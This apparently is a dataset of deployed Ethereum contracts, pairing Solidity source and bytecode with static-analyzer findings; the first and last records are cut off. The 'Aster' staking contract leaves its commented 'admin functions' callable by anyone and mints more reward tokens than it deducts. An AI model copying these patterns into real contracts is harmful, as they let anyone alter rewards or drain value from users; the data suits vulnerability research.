908a908a908a90600401610b1c565b600060405180830381600087803b15801561053257600080fd5b505af1158015610546573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261056e9190810190610a19565b50505050505050505050565b3360009081526002602052604090205460ff166105cb5760405162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206164647265737360881b60448201526064016101e4565b856001600160a01b0388163014610666576040516323b872dd60e01b81526001600160a01b038981166004830152306024830152604482018790528216906323b872dd90606401602060405180830381600087803b15801561062c57600080fd5b505af1158015610640573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106649190610ab1565b505b604051636eb1769f60e11b81523060048201526001600160a01b03878116602483015286919083169063dd62ed3e9060440160206040518083038186803b1580156106b057600080fd5b505afa1580156106c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e89190610ace565b10156107775760015460405163095ea7b360e01b81526001600160a01b03888116600483015260248201929092529082169063095ea7b390604401602060405180830381600087803b15801561073d57600080fd5b505af1158015610751573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107759190610ab1565b505b6040516338ed173960e01b815286906001600160a01b038216906338ed1739906105189089908990899030908a90600401610b1c565b80356001600160a01b03811681146107c457600080fd5b919050565b600082601f8301126107da57600080fd5b813560206107ef6107ea83610bbe565b610b8d565b80838252828201915082860187848660051b890101111561080f57600080fd5b60005b8581101561083557610823826107ad565b84529284019290840190600101610812565b5090979650505050505050565b60006020828403121561085457600080fd5b61085d826107ad565b9392505050565b600080600080600080600060e0888a03121561087f57600080fd5b610888886107ad565b9650610896602089016107ad565b95506108a4604089016107ad565b9450606088013593506080880135925060a088013567ffffffffffffffff8111156108ce57600080fd5b6108da8a828b016107c9565b92505060c0880135905092959891949750929550565b60008060006060848603121561090557600080fd5b61090e846107ad565b925061091c602085016107ad565b9150604084013590509250925092565b600080600080600080600060e0888a03121561094757600080fd5b610950886107ad565b965061095e602089016107ad565b95506040880135945060608801359350608088013567ffffffffffffffff81111561098857600080fd5b6109948a828b016107c9565b9350506109a360a089016107ad565b915060c0880135905092959891949750929550565b600080604083850312156109cb57600080fd5b6109d4836107ad565b915060208301356109e481610bf8565b809150509250929050565b60008060408385031215610a0257600080fd5b610a0b836107ad565b946020939093013593505050565b60006020808385031215610a2c57600080fd5b825167ffffffffffffffff811115610a4357600080fd5b8301601f81018513610a5457600080fd5b8051610a626107ea82610bbe565b80828252848201915084840188868560051b8701011115610a8257600080fd5b600094505b83851015610aa5578051835260019490940193918501918501610a87565b50979650505050505050565b600060208284031215610ac357600080fd5b815161085d81610bf8565b600060208284031215610ae057600080fd5b5051919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610b6c5784516001600160a01b031683529383019391830191600101610b47565b50506001600160a01b03969096166060850152505050608001529392505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715610bb657610bb6610be2565b604052919050565b600067ffffffffffffffff821115610bd857610bd8610be2565b5060051b60200190565b634e487b7160e01b600052604160045260246000fd5b8015158114610c0657600080fd5b5056fea26469706673582212201bd34180331c26d19e3bc550dcefd9c3a503947a9e0273e38b44a13051f94d7064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,015 |
0x5a00c4d134faa4599d5ad53446094eb5a901671c
|
// /\ _ \/\ _`\ /\__ _\/\ _`\ /\ _`\
// \ \ \L\ \ \,\L\_\/_/\ \/\ \ \L\_\ \ \L\ \
// \ \ __ \/_\__ \ \ \ \ \ \ _\L\ \ , /
// \ \ \/\ \/\ \L\ \ \ \ \ \ \ \L\ \ \ \\ \
// \ \_\ \_\ `\____\ \ \_\ \ \____/\ \_\ \_\
// \/_/\/_/\/_____/ \/_/ \/___/ \/_/\/ /
// ASTER PROJECT - ASTER-1H
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Uniswap{
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function WETH() external pure returns (address);
}
interface Pool{
function primary() external view returns (address);
}
contract Poolable{
address payable internal constant _POOLADDRESS = 0x6fe6403080A3f80Da00387224E7846E1239DEC26;
function primary() private view returns (address) {
return Pool(_POOLADDRESS).primary();
}
modifier onlyPrimary() {
require(msg.sender == primary(), "Caller is not primary");
_;
}
}
contract Staker is Poolable{
using SafeMath for uint256;
uint constant internal DECIMAL = 10**18;
uint constant public INF = 33136721748;
uint private _rewardValue = 10**18;
mapping (address => uint256) public timePooled;
mapping (address => uint256) private internalTime;
mapping (address => uint256) private LPTokenBalance;
mapping (address => uint256) private rewards;
mapping (address => uint256) private referralEarned;
address public Ast1Address;
address constant public UNIROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public WETHAddress = Uniswap(UNIROUTER).WETH();
bool private _unchangeable = false;
bool private _tokenAddressGiven = false;
receive() external payable {
if(msg.sender != UNIROUTER){
stake(msg.sender, address(0));
}
}
function sendValue(address payable recipient, uint256 amount) internal {
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
//If true, no changes can be made
function unchangeable() public view returns (bool){
return _unchangeable;
}
function rewardValue() public view returns (uint){
return _rewardValue;
}
//THE ONLY ADMIN FUNCTIONS vvvv
//After this is called, no changes can be made
function makeUnchangeable() public{
_unchangeable = true;
}
//Can only be called once to set token address
function setTokenAddress(address input) public{
require(!_tokenAddressGiven, "Function was already called");
_tokenAddressGiven = true;
Ast1Address = input;
}
//Set reward value that has high APY, can't be called if makeUnchangeable() was called
function updateRewardValue(uint input) public {
require(!unchangeable(), "makeUnchangeable() function was already called");
_rewardValue = input;
}
//THE ONLY ADMIN FUNCTIONS ^^^^
function stake(address staker, address payable ref) public payable{
staker = msg.sender;
if(ref != address(0)){
referralEarned[ref] = referralEarned[ref] + ((address(this).balance/10)*DECIMAL)/price();
}
sendValue(_POOLADDRESS, address(this).balance/2);
address poolAddress = Uniswap(FACTORY).getPair(Ast1Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(Ast1Address).balanceOf(poolAddress); //token in uniswap
uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount);
IERC20(Ast1Address).mint(address(this), toMint);
uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this));
uint amountTokenDesired = IERC20(Ast1Address).balanceOf(address(this));
IERC20(Ast1Address).approve(UNIROUTER, amountTokenDesired ); //allow pool to get tokens
Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(Ast1Address, amountTokenDesired, 1, 1, address(this), INF);
uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this));
uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore);
rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker));
timePooled[staker] = now;
internalTime[staker] = now;
LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot);
}
function withdrawLPTokens(uint amount) public {
require(timePooled[msg.sender] + 1 hours <= now, "It has not been 1 hours since you staked yet");
rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
LPTokenBalance[msg.sender] = LPTokenBalance[msg.sender].sub(amount);
address poolAddress = Uniswap(FACTORY).getPair(Ast1Address, WETHAddress);
IERC20(poolAddress).transfer(msg.sender, amount);
internalTime[msg.sender] = now;
}
function withdrawRewardTokens(uint amount) public {
require(timePooled[msg.sender] + 1 hours <= now, "It has not been 1 hours since you staked yet");
rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
internalTime[msg.sender] = now;
uint removeAmount = ethtimeCalc(amount)/2;
rewards[msg.sender] = rewards[msg.sender].sub(removeAmount);
IERC20(Ast1Address).mint(msg.sender, amount);
}
function withdrawReferralEarned(uint amount) public{
require(timePooled[msg.sender] != 0, "You have to stake at least a little bit to withdraw referral rewards");
require(timePooled[msg.sender] + 1 hours <= now, "It has not been 1 hours since you staked yet");
referralEarned[msg.sender] = referralEarned[msg.sender].sub(amount);
IERC20(Ast1Address).mint(msg.sender, amount);
}
function viewRecentRewardTokenAmount(address who) internal view returns (uint){
return (viewPooledEthAmount(who).mul( now.sub(internalTime[who]) ));
}
function viewRewardTokenAmount(address who) public view returns (uint){
return earnCalc( rewards[who].add(viewRecentRewardTokenAmount(who))*2 );
}
function viewLPTokenAmount(address who) public view returns (uint){
return LPTokenBalance[who];
}
function viewPooledEthAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(Ast1Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function viewPooledTokenAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(Ast1Address, WETHAddress);
uint tokenAmount = IERC20(Ast1Address).balanceOf(poolAddress); //token in uniswap
return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function viewReferralEarned(address who) public view returns (uint){
return referralEarned[who];
}
function price() public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(Ast1Address, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(Ast1Address).balanceOf(poolAddress); //token in uniswap
return (DECIMAL.mul(ethAmount)).div(tokenAmount);
}
function earnCalc(uint ethTime) public view returns(uint){
return ( rewardValue().mul(ethTime) ) / ( 31557600 * DECIMAL );
}
function ethtimeCalc(uint Ast1) internal view returns(uint){
return ( Ast1.mul(31557600 * DECIMAL) ).div( rewardValue() );
}
}
|
0x6080604052600436106101395760003560e01c80638439a541116100ab578063b1fd67401161006f578063b1fd6740146103c4578063cb43b2dd146103f7578063d28de27314610421578063d488ebe814610436578063e42255d814610469578063e91ed7c91461049c57610166565b80638439a5411461031c5780638d301f99146103465780639d2a679f14610370578063a035b1fe14610385578063a064b44b1461039a57610166565b8063452d003f116100fd578063452d003f1461023e578063475d8733146102685780634caacd751461027d5780636dc64a02146102a65780637d29f34f146102d9578063808615ac146102ee57610166565b80630af88b241461016b57806312c7df731461019c57806326a4e8d2146101c357806329b83c2e146101f65780632dd310001461022957610166565b366101665733737a250d5630b4cf539739df2c5dacb4c659f2488d14610164576101643360006104cf565b005b600080fd5b34801561017757600080fd5b50610180610abf565b604080516001600160a01b039092168252519081900360200190f35b3480156101a857600080fd5b506101b1610ace565b60408051918252519081900360200190f35b3480156101cf57600080fd5b50610164600480360360208110156101e657600080fd5b50356001600160a01b0316610ad4565b34801561020257600080fd5b506101b16004803603602081101561021957600080fd5b50356001600160a01b0316610b69565b34801561023557600080fd5b50610180610b7b565b34801561024a57600080fd5b506101646004803603602081101561026157600080fd5b5035610b93565b34801561027457600080fd5b50610164610d6c565b34801561028957600080fd5b50610292610d81565b604080519115158252519081900360200190f35b3480156102b257600080fd5b506101b1600480360360208110156102c957600080fd5b50356001600160a01b0316610d91565b3480156102e557600080fd5b50610180610dac565b6101646004803603604081101561030457600080fd5b506001600160a01b03813581169160200135166104cf565b34801561032857600080fd5b506101646004803603602081101561033f57600080fd5b5035610dbb565b34801561035257600080fd5b506101646004803603602081101561036957600080fd5b5035610e04565b34801561037c57600080fd5b506101b1610f3b565b34801561039157600080fd5b506101b1610f44565b3480156103a657600080fd5b506101b1600480360360208110156103bd57600080fd5b50356110fc565b3480156103d057600080fd5b506101b1600480360360208110156103e757600080fd5b50356001600160a01b031661112a565b34801561040357600080fd5b506101646004803603602081101561041a57600080fd5b50356112d1565b34801561042d57600080fd5b50610180611402565b34801561044257600080fd5b506101b16004803603602081101561045957600080fd5b50356001600160a01b031661141a565b34801561047557600080fd5b506101b16004803603602081101561048c57600080fd5b50356001600160a01b0316611458565b3480156104a857600080fd5b506101b1600480360360208110156104bf57600080fd5b50356001600160a01b0316611545565b3391506001600160a01b03811615610522576104e9610f44565b670de0b6b3a7640000600a470402816104fe57fe5b6001600160a01b038316600090815260056020526040902080549290910490910190555b610543736fe6403080a3f80da00387224e7846e1239dec2660024704611560565b6006546007546040805163e6a4390560e01b81526001600160a01b03938416600482015292909116602483015251600091735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a4390591604480820192602092909190829003018186803b1580156105b057600080fd5b505afa1580156105c4573d6000803e3d6000fd5b505050506040513d60208110156105da57600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561062f57600080fd5b505afa158015610643573d6000803e3d6000fd5b505050506040513d602081101561065957600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156106ae57600080fd5b505afa1580156106c2573d6000803e3d6000fd5b505050506040513d60208110156106d857600080fd5b5051905060006106f2836106ec47856115f5565b90611655565b600654604080516340c10f1960e01b81523060048201526024810184905290519293506001600160a01b03909116916340c10f199160448082019260009290919082900301818387803b15801561074857600080fd5b505af115801561075c573d6000803e3d6000fd5b505050506000846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156107af57600080fd5b505afa1580156107c3573d6000803e3d6000fd5b505050506040513d60208110156107d957600080fd5b5051600654604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561082c57600080fd5b505afa158015610840573d6000803e3d6000fd5b505050506040513d602081101561085657600080fd5b50516006546040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201526024810184905290519293506001600160a01b039091169163095ea7b3916044808201926020929091908290030181600087803b1580156108c357600080fd5b505af11580156108d7573d6000803e3d6000fd5b505050506040513d60208110156108ed57600080fd5b50506006546040805163f305d71960e01b81526001600160a01b0390921660048301526024820183905260016044830181905260648301523060848301526407b71a3f5460a483015251737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d71991479160c48082019260609290919082900301818588803b15801561097657600080fd5b505af115801561098a573d6000803e3d6000fd5b50505050506040513d60608110156109a157600080fd5b5050604080516370a0823160e01b815230600482015290516000916001600160a01b038916916370a0823191602480820192602092909190829003018186803b1580156109ed57600080fd5b505afa158015610a01573d6000803e3d6000fd5b505050506040513d6020811015610a1757600080fd5b505190506000610a278285611697565b9050610a54610a358b6116d9565b6001600160a01b038c166000908152600460205260409020549061170a565b6001600160a01b038b166000908152600460209081526040808320939093556001815282822042908190556002825283832055600390522054610a97908261170a565b6001600160a01b03909a16600090815260036020526040902099909955505050505050505050565b6007546001600160a01b031681565b60005490565b600754600160a81b900460ff1615610b33576040805162461bcd60e51b815260206004820152601b60248201527f46756e6374696f6e2077617320616c72656164792063616c6c65640000000000604482015290519081900360640190fd5b6007805460ff60a81b1916600160a81b179055600680546001600160a01b039092166001600160a01b0319909216919091179055565b60016020526000908152604090205481565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b3360009081526001602052604090205442610e109091011115610be75760405162461bcd60e51b815260040180806020018281038252602c815260200180611922602c913960400191505060405180910390fd5b610c09610bf3336116d9565b336000908152600460205260409020549061170a565b33600090815260046020908152604080832093909355600390522054610c2f9082611697565b33600090815260036020908152604080832093909355600654600754845163e6a4390560e01b81526001600160a01b0392831660048201529116602482015292519192735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9263e6a4390592604480840193919291829003018186803b158015610cab57600080fd5b505afa158015610cbf573d6000803e3d6000fd5b505050506040513d6020811015610cd557600080fd5b50516040805163a9059cbb60e01b81523360048201526024810185905290519192506001600160a01b0383169163a9059cbb916044808201926020929091908290030181600087803b158015610d2a57600080fd5b505af1158015610d3e573d6000803e3d6000fd5b505050506040513d6020811015610d5457600080fd5b50503360009081526002602052604090204290555050565b6007805460ff60a01b1916600160a01b179055565b600754600160a01b900460ff1690565b6001600160a01b031660009081526005602052604090205490565b6006546001600160a01b031681565b610dc3610d81565b15610dff5760405162461bcd60e51b815260040180806020018281038252602e81526020018061194e602e913960400191505060405180910390fd5b600055565b33600090815260016020526040902054610e4f5760405162461bcd60e51b81526004018080602001828103825260448152602001806118836044913960600191505060405180910390fd5b3360009081526001602052604090205442610e109091011115610ea35760405162461bcd60e51b815260040180806020018281038252602c815260200180611922602c913960400191505060405180910390fd5b33600090815260056020526040902054610ebd9082611697565b336000818152600560205260408082209390935560065483516340c10f1960e01b815260048101939093526024830185905292516001600160a01b03909316926340c10f1992604480820193929182900301818387803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b5050505050565b6407b71a3f5481565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b158015610fb257600080fd5b505afa158015610fc6573d6000803e3d6000fd5b505050506040513d6020811015610fdc57600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561103157600080fd5b505afa158015611045573d6000803e3d6000fd5b505050506040513d602081101561105b57600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156110b057600080fd5b505afa1580156110c4573d6000803e3d6000fd5b505050506040513d60208110156110da57600080fd5b505190506110f4816106ec670de0b6b3a7640000856115f5565b935050505090565b60006a1a1a94ec861d5c3380000061111c83611116610ace565b906115f5565b8161112357fe5b0492915050565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561119857600080fd5b505afa1580156111ac573d6000803e3d6000fd5b505050506040513d60208110156111c257600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561121757600080fd5b505afa15801561122b573d6000803e3d6000fd5b505050506040513d602081101561124157600080fd5b5051604080516318160ddd60e01b815290519192506112c9916001600160a01b038516916318160ddd916004808301926020929190829003018186803b15801561128a57600080fd5b505afa15801561129e573d6000803e3d6000fd5b505050506040513d60208110156112b457600080fd5b50516106ec6112c287611545565b84906115f5565b949350505050565b3360009081526001602052604090205442610e1090910111156113255760405162461bcd60e51b815260040180806020018281038252602c815260200180611922602c913960400191505060405180910390fd5b611331610bf3336116d9565b336000908152600460209081526040808320939093556002908190529181204290559061135d83611764565b8161136457fe5b3360009081526004602052604090205491900491506113839082611697565b3360008181526004602081905260408083209490945560065484516340c10f1960e01b8152918201939093526024810186905292516001600160a01b03909216926340c10f19926044808301939282900301818387803b1580156113e657600080fd5b505af11580156113fa573d6000803e3d6000fd5b505050505050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b600061145261144a61142b846116d9565b6001600160a01b0385166000908152600460205260409020549061170a565b6002026110fc565b92915050565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b1580156114c657600080fd5b505afa1580156114da573d6000803e3d6000fd5b505050506040513d60208110156114f057600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561121757600080fd5b6001600160a01b031660009081526003602052604090205490565b6040516000906001600160a01b0384169083908381818185875af1925050503d80600081146115ab576040519150601f19603f3d011682016040523d82523d6000602084013e6115b0565b606091505b50509050806115f05760405162461bcd60e51b815260040180806020018281038252603a8152602001806118c7603a913960400191505060405180910390fd5b505050565b60008261160457506000611452565b8282028284828161161157fe5b041461164e5760405162461bcd60e51b81526004018080602001828103825260218152602001806119016021913960400191505060405180910390fd5b9392505050565b600061164e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611786565b600061164e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611828565b6001600160a01b03811660009081526002602052604081205461145290611701904290611697565b6111168461112a565b60008282018381101561164e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611452611771610ace565b6106ec846a1a1a94ec861d5c338000006115f5565b600081836118125760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117d75781810151838201526020016117bf565b50505050905090810190601f1680156118045780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161181e57fe5b0495945050505050565b6000818484111561187a5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156117d75781810151838201526020016117bf565b50505090039056fe596f75206861766520746f207374616b65206174206c656173742061206c6974746c652062697420746f20776974686472617720726566657272616c2072657761726473416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77497420686173206e6f74206265656e203120686f7572732073696e636520796f75207374616b6564207965746d616b65556e6368616e676561626c6528292066756e6374696f6e2077617320616c72656164792063616c6c6564a2646970667358221220ff96a288f0dddaeb213f724a34ffe31532035bf1a99a5cf87899b2ae0d5f0ca364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,016 |
0xd8581d8199b0a6dbf7e51f16730cc1707105f26d
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DaveCoin is DetailedERC20, StandardToken {
/**
* @dev Constructor function
*/
constructor() public DetailedERC20("Dave Coin", "DAVE", 18) {
totalSupply_ = 1000000000000000000000000000; // 1 Billion tokens
balances[msg.sender] = totalSupply_;
